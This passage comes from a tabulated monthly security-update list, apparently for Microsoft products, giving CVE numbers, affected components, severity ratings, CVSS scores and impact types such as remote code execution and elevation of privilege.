Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62893\n  Windows Deployment\n  Services TFTP Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66802\n  Windows Device Health\n  Attestation (DHA) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-71331\n  Windows Device Health\n  Attestation (DHA) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62823\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62817\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62820\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62878\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65789\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62890\n  Windows GDI+ Elevation\n  of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62822\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65791\n  Windows iSCSI Target\n  Service Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66799\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62816\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62819\n  Windows Routing and\n  Remote Access Service (RRAS) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62889\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-70354\n  .NET Core Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62901\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58641\n  .NET Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62871\n  .NET Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62886\n  .NET Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62909\n  .NET Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62872\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65810\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62897\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7\n  No\n  No\n  RCE\n \n \n  CVE-2026-62900\n  .NET Information\n  Disclosure Vulnerability\n  Important\n  5.9\n  No\n  No\n  Info\n \n \n  CVE-2026-62902\n  .NET Information\n  Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62899\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  5.9\n  No\n  No\n  SFB\n \n \n  CVE-2026-65777\n  Active Directory\n  Security Feature Bypass Vulnerability\n  Important\n  5.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-59130\n  AMD Zen Information\n  Disclosure Vulnerability\n  Important\n  5.6\n  No\n  No\n  Info\n \n \n  CVE-2026-59131\n  AMD Zen Information\n  Disclosure Vulnerability\n  Important\n  5.6\n  No\n  No\n  Info\n \n \n  CVE-2026-62898\n   Microsoft QUIC Information Disclosure\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61357\n  Application\n  Information Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70340\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-65806\n  Azure CycleCloud\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47299\n  Azure Monitor Agent\n  Elevation of Privilege Vulnerability\n  Important\n  7.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-57104\n  Azure Storage Explorer\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62892\n  Capability Access\n  Management Service (camsvc) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65675\n  CoPilot Chat Security\n  Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-65786\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65787\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65788\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70335\n  GitHub Copilot and\n  Visual Studio Code Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-64906\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64908\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64912\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64914\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64919\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64920\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-59136\n  Microsoft COM for\n  Windows Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54123\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62698\n  Microsoft Digest\n  Authentication Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-66301\n  Microsoft Dynamics 365\n  (On-Premises) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65815\n  Microsoft Dynamics 365\n  On-Premises Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-40375\n  Microsoft Dynamics\n  Business Central Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65673\n  Microsoft Entra\n  Connect Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-68797\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68799\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68802\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68808\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68813\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70318\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70327\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70328\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65807\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68793\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68795\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68796\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68798\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68800\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68801\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68803\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68805\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68806\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68807\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68810\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68811\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68812\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68814\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68815\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68817\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62912\n  Microsoft Exchange\n  Server Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62910\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-65813\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-62913\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62915\n  Microsoft Exchange\n  Server Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-62914\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-59133\n  Microsoft High\n  Performance Computing (HPC) Pack Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-59124\n  Microsoft High\n  Performance Computing (HPC) Pack Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62784\n  Microsoft Local\n  Security Authority Server (lsasrv) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68792\n  Microsoft Office\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62842\n  Microsoft Office\n  Graphics Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63517\n  Microsoft Office\n  Graphics Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-66809\n  Microsoft Office\n  Graphics Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63524\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63529\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-64899\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70314\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70315\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70317\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70323\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63533\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64904\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65656\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65661\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57105\n  Microsoft Office\n  SharePoint Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-70306\n  Microsoft Office\n  SharePoint Spoofing Vulnerability\n  Important\n  9.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-63521\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63528\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63530\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63531\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-64917\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-66806\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-66810\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70319\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63527\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64905\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64915\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70311\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65680\n  Microsoft OneDrive for\n  MacOS Elevation of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70329\n  Microsoft Outlook\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62882\n  Microsoft Outlook\n  Spoofing Vulnerability\n  Important\n  4.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-70313\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70337\n  Microsoft PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70338\n  Microsoft PowerShell\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-59138\n  Microsoft Remote\n  Registry Service Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-61345\n  Microsoft Remote\n  Registry Service Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-70324\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70321\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70326\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70355\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-62837\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63514\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63520\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-64901\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65658\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65663\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66805\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66808\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58639\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-62829\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-62839\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-62917\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-63516\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64897\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64900\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64902\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64916\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64922\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-65660\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-63512\n  Microsoft SharePoint\n  Server Tampering Vulnerability\n  Important\n  6.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-65767\n  Microsoft Teams for\n  Android and iOS Spoofing Vulnerability\n  Important\n  8.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-65769\n  Microsoft Teams iOS\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65768\n  Microsoft Teams Remote\n  Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66804\n  Microsoft Windows\n  Cross Device Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-59135\n  Microsoft Windows\n  Search Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65814\n  Microsoft Windows\n  Storage Port Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70310\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58651\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-6726 *\n  MITRE: CVE-2026-6726\n  TPM 2.0 Improper Object Slot Reuse\n  Important\n  7.9\n  No\n  No\n  \n \n \n  CVE-2026-6727 *\n  MITRE: CVE-2026-6727\n  TPM 2.0 RSA OAEP Timing Side-Channel Vulnerability\n  Important\n  5.9\n  No\n  No\n  \n \n \n  CVE-2026-65811\n  Power BI Remote Code\n  Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68809\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70312\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70316\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70320\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70322\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70325\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-59119\n  PowerShell Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58612\n  PowerShell Information\n  Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-65671\n  Remote Access API\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65672\n  Remote Access API\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-42976\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-59134\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-61352\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-61363\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-54113\n  Remote Procedure Call\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62781\n  RPC Runtime Library\n  Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-59125\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-47285\n  Visual Studio Code\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54981\n  Visual Studio Code\n  Python Extension Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-59113\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-69320\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70336\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58650\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-69278\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-69306\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-62743\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62746\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62786\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62798\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61358\n  Windows Accessibility\n  Infrastructure (ATBroker.exe) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49179\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-61348\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70307\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65778\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65779\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65780\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65781\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65782\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65783\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62908\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61927\n  Windows Bind Filter\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61934\n  Windows Bind Filter\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62705\n  Windows Bind Filter\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62722\n  Windows Bind Filter\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62713\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62771\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62728\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62772\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62775\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-72971\n   Windows Container Isolation FS Filter Driver\n  (unionfs.sys) Tampering Vulnerability\n  Important\n  5.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-61936\n  Windows Defender\n  Firewall Service Security Feature 